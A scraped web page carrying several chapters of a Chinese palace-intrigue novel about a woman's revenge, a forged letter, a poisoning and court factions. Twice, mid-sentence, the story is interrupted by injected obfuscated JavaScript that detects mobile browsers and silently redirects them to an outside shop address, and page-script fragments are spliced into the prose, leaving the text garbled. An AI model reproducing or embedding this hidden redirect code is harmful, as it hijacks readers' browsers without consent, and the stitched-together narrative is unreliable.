“真的没有关系吗?”十一紧盯着雪微的双眸,试图从雪微的眼神中看到一丝慌乱的信息,但她伪装得实在太好了,什么都看不出来。 “你说没关系,那就没关系吧。” 十一打趣道:“我可提醒你,李侯李朔,太傅叶肃,还有淑宁公主,这几个人都和宁王府十三年前的那场惨案有关,不管你与他们有什么仇恨,但很难让人不联想起这些。” 雪微死死的盯着眼前的十一,这个人心思缜密,为何偏偏缠着她不放呢? “也不能说没关系吧,我的妹妹在宁王府做丫鬟,十三年前,无缘无故的惨死,我连她的尸体都没有见到,你说,这算不算有关?” “宁王府的丫鬟?”十一心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自从宁王倒台以后,再也没有人知道他去了哪里,像从人间蒸发了般,找不出一丝踪迹。 时间相隔太久远,沈雨菲差点都快忘记了这件事,如今看到月华公主和姨母长得类似的容颜,这件事却如同潮水般,又涌入她的脑海中,让她久久不得心安。 这段时间,一件一件的破事接踵而来,沈雨菲仔细回想了,隐约之中总觉得像是要发生什么大事似的,“看来,不能在继续等下去了。” 如今朝堂之上,王上年过半百,但疑心很重,虽然表面上看上去很重视太子,但私底下却暗自培养二皇子,所以形成了二人鼎力的局面。 二皇子的母亲乃是当朝的王后,舅父也是手握十万兵权的护国将军,而太子这边呢?母亲前王后早死,前王后的娘家人在朝中贬的贬,基本也只不过是个不起眼的小官。 沈雨菲仔细分析了一下,太子实力就算再弱,但好在一切都听她的,反之,二皇子,为人深谙人性,再加上母亲又是王后,自然也不把旁人放在眼底。 如今的这种局势之下,她只能赌太子,只要太子登基,那么,她就会成为西晋的王后。 后宫表面上看似平静,实则与前朝之争息息相关,如今王上已经年过半百,大家都在站队,看看这王位最后花落谁家。 太子,二皇子是朝臣们最看重的两个人,也是朝中最大的两股势力,沈雨菲早就看清了其中的局势,在还未入宫之时,就早已经给自己下了一盘大棋。 当年,永安城楼比武招亲,沈雨菲绝美一跳,刚好跌落到宇文昭的怀中,二人一见钟情,后来,为了稳固太子的地位,她甘愿放弃相守,入宫为妃。 在公主的协助之下,她成为了王上的宠妃。 “十三年了,这盘棋整整下了十三年。” 当年那个帮助她的黑衣人却再也没有出现过,沈雨菲心中始终忐忑,她派暗卫按照当年的线索找寻了许久,都未曾找到此人的踪迹,“如今我早已经身登高位,按道理,我想找一个人,怎么可能找不到呢?” “他到底去哪里了,怎么会消失得这么彻底呢?” 这件事一直困扰着她,困扰了她十三年。 每一天,她都活在心惊胆战之中,害怕突然有一天,这个人又出现了,胁迫她做一些她不愿做的事。 “既然十三年未出现,那就永远不要再出现好了。” 21. 回京 “公主,驸马与七皇子在后院大打出手,闹得不可开交。”银杏神色慌里慌张的,额头细微处,冷汗直冒。 这七皇子可是京城出了名的护姐狂魔,只要公主有一丁点事情,他都大惊小怪的,这不,刚回京一听说公主与驸马两人闹矛盾分房而眠,就急不可耐的往公主府赶来,急匆匆的冲进了驸马的书房,深怕公主受半点委屈。 两人刚一见面,言语不和,就大打出手,驸马每次见到这个七皇子,都十分头疼。 “辰儿,你不是与舅父一起镇守漠北吗?怎么回来了?” 淑宁拉开二人,转身看着宇文辰,心底略微质疑,“辰儿此次回京难道是有什么重大事情即将发生?镇守漠北乃是重中之重,没有父王的诏令,万不可私自回京。” “父王知道你回来了吗?”淑宁一脸深思,老气横秋的瞪着宇文辰。 宇文辰摇了摇头,委屈巴巴的看着淑宁,手指着齐庭轩:“阿姐被人欺负了,做弟弟的怎么能不回来替阿姐出口气。” “谁跟你说阿姐受欺负了?”淑宁看着这个不成器后的弟弟,十分伤神,“漠北与西晋的边界离京城相隔数百公里,而且那边信息并不通畅,辰儿是怎么知道我与驸马的事情的。” “难道,辰儿在我的府里安排了细作?”她不禁转头,若有所思的看着宇文辰:“辰儿,你跟姐姐好好说说,是谁告诉你,阿姐和驸马的事情的。” 宇文辰从怀里掏出一封信,他拆开信封:“阿姐,你看,这是你写给我的书信,信中你告诉我,驸马对你不好。” “信?”淑宁连忙拿起书信看了看,这封信上的字记与她的字记确实是很相像,不......简直可以说是一模一样,“到底是什么人,伪造信件,把辰儿骗回京城,他到底想干什么呢?” “没有诏令,私自回京,那可是违抗军令,砍头的大罪,难道有人想至辰儿于死地。” “这人可真是居心叵测,其心可诛啊。” 淑宁仔细琢磨琢磨,心底感到十分惶恐:“辰儿,阿姐没事,趁父王还不知此事,你赶紧离开吧,快点回到漠北和舅父汇合,并把这件事告诉舅父,只有这样,你才会重获安全。” “阿姐。”宇文辰有些焦躁,“阿姐,我好不容易回来,你就让我多住几日吧。” “放心,我这次是偷偷回来,任何人都不知道,过几日,我自然会离开的。”他拉着淑宁的手,一副委屈巴巴的模样。 “不行。”淑宁一口回绝,“私自回京可大可小,要是让有心人抓住把柄,父王也保不了你。” “记住,没有父王的诏令,不准私自回京。”淑宁推着宇文辰,她就这么一个弟弟,说不想念,那是假的,但为了他的安危,只能忍痛让他离开。 “阿姐。” 突然,淑宁也不知怎么了,也许是气急攻心,一口鲜血从胃里翻涌出来,她感到一阵撕心裂肺的心痛。 “阿姐,你怎么了。” “快请太医,快请太医。” 宇文辰紧抱着淑宁,慌不择路,齐庭轩见此情形,也顿感奇怪,淑宁身体一向健康,今日无非是与宇文辰多说了几句话,应该不至于气急攻心到口吐鲜血的地步。 他命人去太医院请太医,并派人对公主府进行一一排查,淑宁的迹象很明显的就是中毒,以他的经验,这种毒应该是极为罕见的致毒。 “柳太医,我阿姐怎么样了?”宇文辰一脸着急的模样。 柳太医摇了摇头,神色极为不乐观,“公主最近是吃了什么不该吃的东西吗?” “银杏,公主的饮食都是谁在负责?”宇文辰心中焦虑,要是让我知道是谁在暗地里害阿姐,我一定要把他碎尸万段。 齐庭轩见状,宇文辰这人暴躁易怒,且无脑,他留在这里一点作用都没有反而引起了不必要的麻烦:“七皇子,你还是先下去休息吧,你姐姐这边有我看着。” “那怎么行?”宇文辰看着齐庭轩,眼底闪过一丝恨意,“如果不是因为你,阿姐今日怎么可能吐血,阿姐今日遭受的这一切都是因为你。” “现在,我不与你计较,等阿姐身体好了,看我怎么收拾你。” 他语出惊人,威胁恐吓的语言吓得周围的人大气都不敢喘。 “你想收拾我?”齐庭轩冷笑一声,早就听闻七皇子是个胸无城府的草包,没想到连草包还不如,“我劝你还是先想想自己吧,你回京的消息怕是早已经传到了王上的耳里,你觉得,你现在还能一走了之吗?” “你......”宇文辰哑口无言,指着齐庭轩的鼻子:“今日,我不与你计较,等我解决好这一切,我再来找你算帐,你给我记住了。” 正当他准备离开之时,府门口来了一群宦官,“圣上宣七皇子宇文辰觐见。” 为首的宦官正是圣上身边服侍的福贵公公,“七皇子,圣上正在宣政殿等着你,你快跟随老身走吧。” “父王要见我?”宇文辰心底一阵惊慌,这次回来本就是瞒着所有人回来的,这要是闹到父王身前,怕是又要被责罚。 他转头看了齐庭轩一眼,眼神警告道:“阿姐要是出了任何事,我做鬼也不会放过你。” 过后便随着福贵公公一起前往宣政殿觐见。 一路上,宇文辰想过诸多责罚,再怎么说我都是父王的儿子,虽然经常惹父王生气,父王也许会看在舅父的面子上,从轻处罚吧。 宣政殿十分寂静,宇文渊坐在龙椅上,静静的看着宇文辰,脸上看不出一丝表情,宇文辰心中想了想,“父王这是生气了,还是没有生气。” 他心底琢磨着,大气都不敢喘,生怕一个不小心,被父王再次赶到漠北,五年内都不允许回来。 “你知道你犯了什么事吗?”宇文渊声音平静入水,但越是平静越让人感到心慌不安。 “父王,儿臣知道错了,儿臣正准备回去。”他谨小慎微,连头都不敢抬。 “如果人人都知道错了,那要律法有何用?”宇文渊喝道:“皇子犯法与庶民同罪,福贵,你来说说,七皇子该定什么罪。” 福贵看了看宇文渊的神色,“七皇子违反军令,按军令,该斩。”宇文渊顿时脸色铁青,福贵继续道:“但七皇子违反军纪,实属情有可原。” “奥。”宇文渊脸色瞬间恢复平静,问道:“怎么个情有可原?” 福贵又道:“七皇子的姐姐淑宁公主身染恶疾,七皇子心疼阿姐,即便冒着违反军令的风险,也要回来看一眼阿姐,乃属人之常情。” 宇文渊微微点了点头,对这个解释似乎很满意,“既然死罪可免,但活罪难逃,就罚你再去漠北镇守三年吧。” 他清了清嗓子,沉声道:“辰儿,父王罚你去漠北,希望你能够静思己过,多反思反思自己,你听明白了吗?” “是,儿臣明白了。”宇文辰心底怒不敢言,“三年。”他心底虽然很不服气但是并没有表现出来,本来还差一年就可以回到京城与母妃阿姐团聚,没想到这次又被父王罚去漠北三年。 “母妃。”宇文辰从宣政殿颓废的走了出来,每次在父王身前,他都温顺如同兔子般,他害怕父王,甚至对父王产生一种深深的恐惧。 “怎么样了,王上怎么说?”娴妃一脸着急,今早听到宇文辰突然从漠北赶回来了,她就知道今日大事不妙,果真,前脚,淑宁晕厥,后脚,辰儿就被王上宣进宣政殿。 这一天,从早上到现在,她的心始终悬着。 “父王罚我去漠北镇守三年。” “什么?”娴妃眼底闪过一丝怒意:“怎么会这样?”她的身体瑟瑟发抖:“再过一年,你即将年满十八,到时候,你将会迎娶嫣然,如今,你又要去漠北三年,这婚事怕是只能延后了。” 她叹了口气,脸上若有所思:“到时候就怕迟则生变。” “母妃是什么意思?你是说怕到时候嫣然妹妹不嫁与我?”宇文辰一脸质疑,“她不嫁给我嫁给谁?我才是她最好的归宿。” 娴妃叹了口气,“都怪你不争气,怎么偏偏这个节骨眼回来。” “我也不想啊,我看到阿姐的信件,心中担忧,就马不停蹄的往回赶,还好我回来了,要不然都不知道阿姐身染重病。” “淑宁传信让你回来的?”娴妃一脸不信,这怎么可能,淑宁不是这么不分轻重之人,怎么会突然传信要辰儿回来呢? “也不是,我问过阿姐,她说她没有传过信给我。”宇文辰拿出那封书信,仔细瞧了瞧,“可我怎么看,这信上的字迹都与阿姐的字迹一模一样。” 娴妃拿出淑宁写的字与信封上面的字迹一一对比:“确实很像。” “看来,你此次回来怕是被有心人做局了。” “做局?”宇文辰想了想:“他们为何要做局......难道他们想让我死?” 娴妃摇了摇头:“也许他们是想破坏我们与莫家的联姻。” “你是说嫣然妹妹?” 宇文辰笑了笑:“母妃,你肯定是多虑了,嫣然妹妹怎么可能不嫁给我呢?我对她好都还来不及呢?” “我的傻儿子,你怎么就看不明白呢?”娴妃有种恨铁不成钢道:“最近朝中局势动荡,莫家又与国舅爷联系频繁,我猜想,莫家怕是想与端亲王联姻。” “你说二哥?”宇文辰笑道:“二哥不是已经成婚了嘛。” “成婚了难道就不能再娶吗?” 宇文辰心里想了想,二哥的母亲是王后,虽然不是太子,但也是七珠亲王,未来也很有可能成为王上,他心底突然焦虑起来:“母妃,那你说说,我们该怎么办?” “先容母妃想想,你去看看你姐姐之后就赶紧回漠北去找你舅父商量商量。”娴妃镇定自若道:“你放心,母妃一定会为你筹谋好一切的,你就在漠北好好等着吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892843|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是,那儿臣就先走了,母妃一定要照顾好自己。” “记住,没有指令,千万不要再回来。” “儿子明白。” 看着宇文辰离去的身影,娴妃低叹口气:“我这个傻儿子,什么时候才能长大,不让人操心。” 莫家与国舅爷那边来往,娴妃心里十分不爽,这也就意味着,如果辰儿无法当上西晋的王的潜力,就会成为莫家的弃子,那么他与嫣然的婚约也就荡然无存了。 看来,这事不仅是对娴妃的一个警告,还是对他们现在处境的不满,“可惜,辰儿自小就养尊处优,事事都要我帮他筹谋,通往王位这条路......” 她摇了摇头,叹了口气。 ...... “这是莫家在每个城市的据点图。”十一把手中的地图朝着雪微扔去,“莫家最近与国舅爷走得很近,这西晋的天,怕是真的要变了。”他感慨万千。 “莫家嫡女莫嫣然不是与七皇子宇文辰有婚约吗?怎么,莫家想放弃七皇子,从而攀上端亲王这枚高枝。” 京城最近局势发生了动荡,端亲王整治河道有功,因此王上把他从五珠亲王抬为七珠亲王,反观太子,整日闭门不出,纵情烟酒,只知享乐,王上见状,罚太子禁闭,众臣看见朝中如今这种局势,如同墙头草般,纷纷偏向端亲王。 再加上端亲王的母亲乃是当今的王后,各位大臣对端亲王一致看好。 雪微叹道:“这些见风使舵的小人,不必理会。” “不过莫家如今结交国舅爷,怕是会给有心之人可乘之机。” 十一笑道:“放心,莫寒松此人绝不会头脑如此简单,他结交国舅爷不过是个障眼法而已,在局势未明之前,他是不会轻易出手的。” “果真是个老奸巨猾的商人。” 十一看了雪微一会,她认真看图的模样,在十一的心头萦绕,“七皇子此次贸然进京,是你刻意安排的吧?” 雪微沉吟片刻:“是。” 既然二人合作,就没有必要去遮遮掩掩的,反正,不管最后,他都会知道,那还不如亲口告诉他。 “你为什么要这么做,你应该不是想让他死吧?” “他死了,对我有什么好处?”雪微冷笑一声,收起案台上的地图:“放心,我只不过是想让他在漠北多待三年。” 她看着十一疑惑的神情:“三年之内,朝中局势会更加动荡,宇文辰就算回来了,也斗不过他的几个哥哥。” “你是,想帮他扫清障碍?”十一脑中突然冒出这句话,她为什么要帮助宇文辰,难道,她与娴妃达成了合作? “这是秘密?” 雪微抬头看着十一微皱的眉头,笑道:“我做事,自然有我的道理,等时机到了,你自然会知道。” “这个人到底想干什么,每次都让人琢磨不透,难道,她想以此事与莫家合作?” 他心里猜测了一番,又想了想:“还是她想向莫寒松投诚,把七皇子宇文辰送上王位?” “宇文辰一个草包,也配坐上那个位置。”十一心中充满鄙夷:“既然你要与莫家合作,推宇文辰上位,那就不要怪我阻碍你的路,我是绝对不可能让宇文辰上位的。” 莫家当年暗地里私自资助宇文渊,协助宇文渊登上王位,这事,也是十一最近暗访藏宝阁查看了当年的信件来往才得以知道的,如今,他又用同样的手法参与朝堂之争,十一脸色有些沉闷。 “我是绝对要阻止此事的再次发生,要不然,莫家可真是只手遮天了,以后怕是这天下都要改姓莫了。” “你还没走?” 雪微抬头,眼见天色要变,“快下雨了,你应该快点离开的,要不然等会,就会被雨水淋湿。” 十一隐约之间听到了雪微言语中隐藏的信息,难道,朝中引发局势动荡,此事与她有关?她可真是个神秘的女人啊。 “要走了,最近下雨,不宜出门,等天晴之后,我会再来。” 刚说要下雨,这不,天空之中,乌云遮天,天色瞬间暗淡了下来,雪微走到窗户旁,伸出右手,一滴......两滴......三滴...... 雨越下越大,十一的身影早已消失。 她微微的笑了笑,看着院中被雨水浸染的花草,十月的天气,微微有些寒凉,她搓了搓手,瞬间觉得暖和了许多。 今年的天气,似乎比往常冷了许多。 “少宫主,天气易变,你的身体自幼就比别人更加容易怕冷,你要多穿点衣服,免得冻着了自己。”锦瑟拿起一件披肩,披在了雪微的肩上,“你交代的事情,属下都已经派人安排好了,少宫主,你不必忧心,我们只需要等着看好戏,即可。” “看戏。”雪微嘴角微微触动,眼神飘向远方,不知在思索些什么。 远处的山峰,炊烟袅袅,弥漫在雨雾之中,看起来朦胧一片。 22. 中毒 淑宁公主身中剧毒,整个太医院的太医都被派了过来,却没有一个太医发现中了什么毒,宇文辰心急如焚,看着阿姐如今重病在床,他又如何安心离去。 “你姐姐现在一时半会是好不了了,辰儿,你听母妃的话,还是先离开这里吧,赶紧前往漠北与你舅父汇合,京城的事情,你就先不要管了。” 她小声对宇文辰道:“以后不管遇到什么事情,都要先与你舅父商量以后再做决定,万事切不可冲动。” 宇文辰点了点头。 娴妃毕竟是见过世面的人,知道淑宁刚好在今日辰儿回归之时毒法,必定与幕后之人操纵有关,如今敌暗我明,宇文辰如果继续留在京城,反而会入了某些人的眼,动了他们的蛋糕,只怕连性命都不保。 当年发生的那些事至今历历在目,辰儿也因此受到了惩罚,被流放到了漠北,这件事也终该告一段落了,只是杀人偿命,娴妃心底明白,毕竟是活生生一条命,他们不可能就这么算了的。 她只能狠狠心:“你姐姐这里有母妃,你就安心离开吧,抵达漠北以后记得写信给母妃报声平安。” “母妃一定会让你姐姐平平安安的,你们都是母妃的孩子,她受苦,母妃心里也十分心痛。” 宇文辰最后朝着屋内看了一眼,然后转头一脸怒气的看着齐庭轩:“你最好祈祷我姐姐平平安安的醒来,要不然,等我回来以后,不扒了你的皮。” “辰儿。”娴妃心惊肉跳,这孩子怎么还是这样,戾气不减当年,这些年心中为他担忧得白发都增添了不少,她大声喝道:“你怎么跟你姐夫说话的,快向你姐夫道歉。” 宇文辰冷哼一声,当初姐姐嫁给他之时,他就一直反对,我姐姐是天底下最好的人,怎么能嫁给这样一个有婚约的齐庭轩,虽然他的家世清白,但毕竟也是有未婚妻的。 一个眼见未来岳丈倒台,却袖手旁观,与其解除婚约的人,怎么可能保护好姐姐。 每次看着齐庭轩,就是十分不顺眼。他转身,头也不回的策马而去。 “阿姐,三年,等我三年,我就会从漠北回来,守在你身边,再也不离开你了。” “刚才辰儿的话,你别放在心上,他年纪小,不懂事,还请你别见怪。”娴妃言语诚恳,看着齐庭轩说道。 “娴妃娘娘,请您放心,下官自然不会与七皇子见怪的。”宇文辰这个草包,可不值得我这么伤脑筋,大不了以后见到他,绕着点,以防撞到他,再说,他是皇子,我只不过是个驸马而已,怎么敢惹怒他。 娴妃微微点了点头,朝着窗内望去:“也不知淑宁怎么样了。” 到底是何人,这么狠毒,居然给淑宁下这样的剧毒,“驸马,何人下毒,抓住了吗?” 齐庭轩摇了摇头,“目前还未查出下毒之人到底是谁。” 如今朝中动荡,二皇子与太子相争,我儿远在漠北并不影响他们的王位之争,淑宁又是一届女流,对王位更加没有威胁,娴妃脑中仔细想了想,“到底是谁呢?后宫之人,本宫好像并未与任何人结仇。” “难道,真的是他们?” 她眼中闪过一丝戾气,长呼口气,再次转头往屋内看去,只见柳太医一脸疲倦的从屋内走了出来,娴妃连忙走上前去:“柳太医,公主现在怎么样了?”她的眼眸中流露出急切关心。 柳太医摇了摇头,叹道:“公主中了西域一种剧毒,名为朱砂泪。” “朱砂泪?” 众人吃惊,什么时候,京城居然出现这种东西了? 传闻天底下有一种族,名为人鱼族,而这朱砂泪就是人鱼的眼泪,但与别的眼泪不同的是,朱砂泪是人鱼族对一个人充满深深的恨意的时候流淌出来的泪水,所以含有剧毒,除非找到含满爱意的观音泪,否则,基本无药可解。 可这天底下,没有人见到过真正的观音泪,齐庭轩心里极为郁闷,这分明就是无解,到底是何人所为,为何要毒死淑宁? “雪微,难道是雪微回来复仇了?” 齐庭轩越想越觉得不对劲,脑中想起了他曾经去过宁王府的画面,画面中,有一名白衣女子站在梅树下,但他怎么都看不清白衣女子的脸,“你到底是谁?你是不是雪微?” 假设雪微坠入山崖被人所救,并没有死去,于是活着回来,找淑宁复仇,那么最近发生的这一切都说得通了,要不然,他实在是想不出到底是何人与淑宁有如此大仇,非得致她于死地。 雪微此时正在院中摆弄花草,雨下了一夜,院子里的花倒了一排,突然,她打了个喷嚏,笑了笑:“看来,是有人念叨我了。” “少宫主,淑宁公主身中剧毒,目前昏迷不醒。”锦瑟急速走来,想把这个令人兴奋的消息提前告诉雪微。 “中毒?”雪微略微吃惊,想不到沈雨菲居然这么狠心,连当年帮助她的人,都要予以加害。 “果然是个狠心的人。” “少宫主,你说,谁,狠心。”锦瑟一脸懵逼,她听不懂雪微在说些什么,只听到狠心等之类的。 “突然想到了一个老朋友,看来是时候去见见她了。” 雪微一脸笑意,心情甚好。 ...... “娘娘,庆安王王妃求见。”见沈雨菲正在贵妃榻上微闭双目小憩,小桃轻声在沈雨菲的耳边说道。 “谁......庆安王王妃......”沈雨菲脑中仔细回想了会,眼底尽是不屑,一个半生瘫痪在床的王爷,想到此处,她突然从贵妃榻上坐了起来:“庆安王王妃,就是那个漠北的月华公主。” 那个和姨母长得有七分相似,害得她半夜无眠的女子。 “好啊,居然主动找上门来了。” 想到此人,沈雨菲心底就一阵恼火,这个世上怎么可能有人长得如此相像,难道这个月华公主和姨母有什么关系吗? “宣,赶紧把她宣进来。”沈雨菲心里暗自想道:“本宫到要看看这个人与姨母到底长得有多相似。” 她想起那一日突然见到雪微的样貌,顿时愣住,心中充满了忐忑与不安,脑中全是姨母临死之时的画面,“雨菲,自从你来到我们林家,我们从未亏欠于你,为什么......为什么你要如此的害我。” “为什么?”沈雨菲看着眼前这个奄奄一息半躺在地面的妇人:“姨母,你想知道为什么吗?” “因为你们每天都在我的眼前炫耀,每一天都在警告我,我今日之所以能够拥有这一切,都是来自于你们的施舍。” “我的父亲是个酒鬼,每次喝完酒,就会用手指粗的鞭子抽打我和母亲,自小,我的身上就没有一片完好的皮肤,浑身上下都是他用鞭子抽打的痕迹。” “我以前也不能理解,为什么父亲喝醉酒就会用鞭子抽打我和母亲。”沈雨菲蹲下身抓起妇人的头发,面部狰狞的问道:“姨母,你说说,我的父亲为什么要抽打我和我的母亲?” 妇人面色极为痛苦,声音嘶哑的说不出话来。 “怎么,姨母,说不出来了。”沈雨菲眉头紧皱,嘴角抽搐:“让我来告诉你吧。” “那是因为我们穷,因为家里太过贫穷,父亲才会每次喝完酒就会找母亲和年幼的孩子出气。” “是不是很可笑?”沈雨菲看着妇人如今残败的身躯,狂笑道:“后来,母亲被父亲活生生打死了,姨母见我可怜,便把我带回了林家。” “林府家大业大,连府里的丫鬟都穿金戴银,身上自带香气,而我的身上,却穿着那件破败不堪,四处充满补丁的衣服,从那一刻开始,我那自以为傲的自尊心被你们深深的碾入泥土。” “我只不过是因为姨母见我可怜,心生同情,从外面带回来的野孩子,府里的下人们见到我自然会辱骂我,甚至动手打我。” 沈雨菲越说越愤怒:“我本想把这些事告诉你们的,但是他们威胁我,甚至恐吓我,就在一天风雨交加的夜晚,我......我被管事家那个脓包儿子给......” 她想起此事,心中顿时悲愤交加,“他睡了我,却还威胁我,如果我告诉你们,那么,他们就让我此生像我的母亲一样,这辈子抬不起头来。” “姨母。”沈雨菲此时双眼早已经泪流满面:“你是救了我,帮助了我,但又何偿不是把我又带入了另一个深渊呢?” 她俯身在妇人的耳边说道:“王爷和我什么都没有,是姨母误会了。” “刘管家以及他全家被灭都是我干的。” 她推开妇人那张十分震惊的面孔,疯笑道:“造成今日这一切,都是因为你,既然你把我带了回来,那就应该好好对待我,带我回来却又保护不了我,让我生生的被人糟蹋,姨母,这就是你的报应。” “疯子。” “对,我是疯子,在我被□□的那一夜,我就已经疯了。” 沈雨菲回想起这一切,恍如昨日,如今,她早已经是高高在上的贵妃了,虽然离王后之位还差一步之遥。 “远远看上去确实很像,不过姨母的面容端庄大方,而眼前这位庆安王王妃看上去却多了些淡漠,两人的性格服饰衣着风格完全不同,一个热烈如火,一个却淡漠如水。” 沈雨菲摇头笑了笑,看来这一切终究是我多心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你,等我。”雪微心中觉得有些奇怪,这个庆安王最近也不知怎么了,经常喜欢缠着我,难道是我的身上有什么东西正好是他想要的,要不然,怎么这么关注我呢? “对,我等你。” 雪微心底发寒,总觉得他的笑容中隐藏着一种奸计得逞的快感,总是引着她入局。 “我想与你合作,你助我登上王位,我替你扫清障碍,如何?” 他总是能够一语击透人心中所想,然后又用一种无辜的眼神仔细打量着雪微,最后又把问题抛给她,这人,真是老奸巨猾。 “你想成为西晋的王?” “是。” “你成为了西晋的王,那么我能够得到什么?” “你可以做西晋的王后,还有,还可以替你的妹妹报仇。” “王后?”雪微冷淡的笑了笑:“我不稀罕。” “一国之母,你居然不稀罕,你的胃口可真大?”十一冷峻的眼眸仔细打量着雪微,这个女子居然不稀罕一国之母,看来他还是对她不太了解。 “那么,你想要什么?” “我想要什么,你都能给吗?”雪微脸上依旧没有任何表情,这个人老谋深算,并且自己对他的底细也看不清,她是不会跟一个连底都不知道的人合作的。 “只要我成为了西晋的王,你想要什么,我当然能够给你。” 雪微冷笑一声,“我的仇,我自己也能报,你想当王,就自己凭自己的本事去争取吧,我就不参与你们的朝堂之争了。” 她本想完美避开这一切,报完仇就准备离开,一刻也不想多留,但此时,十一突然沉声开口道:“你以为你逃得掉吗?” “你是本王的王妃,我们早就是一条绳上的人了,我死了,你也活不了,王妃,你确定不帮本王。” 雪微眼眸含笑的看着十一:“你威胁我,你知道上一个敢这么威胁我的人,现在在哪里吗?” “他死了,面目狰狞,死得可难看了。” 十一绕到雪微身后,在雪微的耳边轻轻说道:“所以,王妃,你是想杀了我吗?” 他的一呼一吸,雪微听得十分清楚,“滚开。” 师父自幼告诉她,这天底下的男人,都一个德行,不要脸,这人果真是太不要脸了。 她身子一滑,从十一的身旁绕开,警告道:“刀剑无眼,王爷,你身子金贵,还是离我远点好,免得误伤了你。” “伤就伤了,本王不怕受伤。” 看着此人简直就是个无赖,雪微收起手中的剑,“离我远点,我不是你可以靠近的人。” 她总觉得此人太过于危险,并不想与此人有过太多的交集。 “不想让我靠近。”十一看着雪微绝然离去的身影,心里不知怎么的,总有一种执念在作怪。 “总有一天,你会发现,我才是你最值得合作的伙伴。” 23. 报复 “你是谁?”淑宁公主醒来第一眼便看到一个陌生的女子在为她行针,她浑身上下都无法动弹,感到酸痛无力,胃里一阵烧心。 “我是替你解毒的人。”雪微一边拔掉她身上的针一边说道:“驸马爷在全城贴了告示,只要有医者能够解了公主身上的毒,便会获得五千两银子,我觉得很划算,所以就自荐为公主解毒。” “你?”淑宁眼神中有着几分嘲讽,心中感到疑惑不解,太医院没人了吗?怎么会让一个这么年轻的姑娘来替我解毒?她眉头微皱,瞪大眼睛看着雪微。 雪微余光扫了眼淑宁,知道她在看她,于是便故意下手重了点。 “疼......疼......你轻点......” “公主,痛则通,你身体里的脉络通畅了,才会感到疼痛。” 这下你落到了我的手上,看我如何整治你,淑宁,往后的日子还长着呢?还请你多担待担待,她无视着淑宁的喊叫,继续拔针。 每拔一针,淑宁面部的痛苦便会多增加一分,浑身上下,大汗淋漓,青一块紫一块的。 一百零八针,淑宁,你就好好享受着吧。 其实本来不需要施这么多针的,可是偏偏雪微看着淑宁那痛苦扭曲的神情,心中十分愉悦,就多施了几倍而已。 看着那张近在咫尺的脸,雪微心中突然觉得好笑,可能她也没有想到,自己如今也会有这么窘迫的一天吧,高高在上的贵女,现在摇身一变,变成了只能卧床不起的废人。 “如果你知道了你下肢已废,无法行走,你会怎么样?”雪微心中想了想要是让淑宁知道自己无法行走,彻底成为了一个废物,那种极为震惊的神情,想想就觉得畅快。 “好了。”当雪微拔掉最后一根针的时候,淑宁的嘴里还在怒骂,叫嚣着要罚雪微三十大板,以解心头之痛。 雪微轻微扫了她一眼,便头也不回的走出了房门,气的淑宁浑身颤抖,没想到,天底下居然有人敢这么直接无视她,她的骄傲瞬间碎落一地。 “驸马,公主醒了。”雪微微微行了行礼,“以后每个月的今日,我都会来公主府替公主施针解毒,只是恐怕......” “恐怕什么?”齐庭轩目光复杂的看着雪微,心里总觉得不安。 “公主的腿,怕是站不起来了。” “???” 齐庭轩脑中一片空白,“站不起来了。” “淑宁的腿,废了。” “白大夫,可有什么能够恢复行走的办法吗?” 雪微摇了摇头,实为叹息道:“公主中毒已深,能够存活到今日,已经是大幸,如果要恢复到和以往一样,怕是有些难度。” 看着齐庭轩那张失落的表情,雪微心中觉得可笑,我就是想让她在床上多躺一段时间,好消磨消磨她的锐气,我倒是想看看她知道了自己是个废人会露出什么样的神情。 淑宁,当年,你怎么折磨我的,如今我都要一一讨回来。 “也就是说,还是有恢复的可能的,对吧?”齐庭轩眼中带着一丝期许的看着雪微。 齐哥哥,你果真还是很关心淑宁公主的,可是,我为什么要如你所愿,她从我这里抢走了你,还差点害死了我,对了,她利用公主的权力,暗中帮助沈雨菲和叶肃陷害我父亲和我哥哥。 还有曾经把我关在暗室,动用私刑,鞭打了我二十鞭子,差点让我毁容。 这一件件一桩桩的事情,我都要一一的和她算清楚。 雪微看着齐庭轩那张满怀期许的表情,心中终是有些不忍,就算她做错太多的事,但罪不及旁人,于是她微微点了点头:“也许调养得好,有恢复的那一天。” “那就好。” 什么是痛苦,当希望破灭的那一天,痛苦才会真正的来临。 淑宁,我等了那一天等了十三年,简单的杀了你,偿还不了我这十三年来内心的痛苦,我真的很想看着你跪在我以及我家人的面前忏悔,看着你众叛亲离,那骄傲的自尊心碎落一地。 静宜慌慌张张的从屋里跑了出来,身上有些凌乱,她指着屋内,“父亲,母亲她......她......”她见雪微在,言语之中有些吞吞吐吐。 齐庭轩自然是知道,淑宁肯定发生了什么事,要不然静宜不会如此慌慌张张的,毕竟好歹她是生在皇家的,什么场面没有见过。 他见此情形,于是便赶忙来到内堂,只见淑宁从卧榻上滚落了下来,浑身衣不蔽体的,使劲的捶打着地面,哪里还曾有半分公主的模样。 雪微虽然没有跟上去,但从静宜的神情之中便大概能够猜出,淑宁,一切才刚刚开始,以后有你好受,我们来日方长。 “轩哥,我的腿,你告诉我,我的腿怎么了?”淑宁一脸惊恐的看着齐庭轩,双腿乏力,使不上力,难道......难道我的腿废了吗? 这活着简直比死还难受,不......还不如让我死了算了。 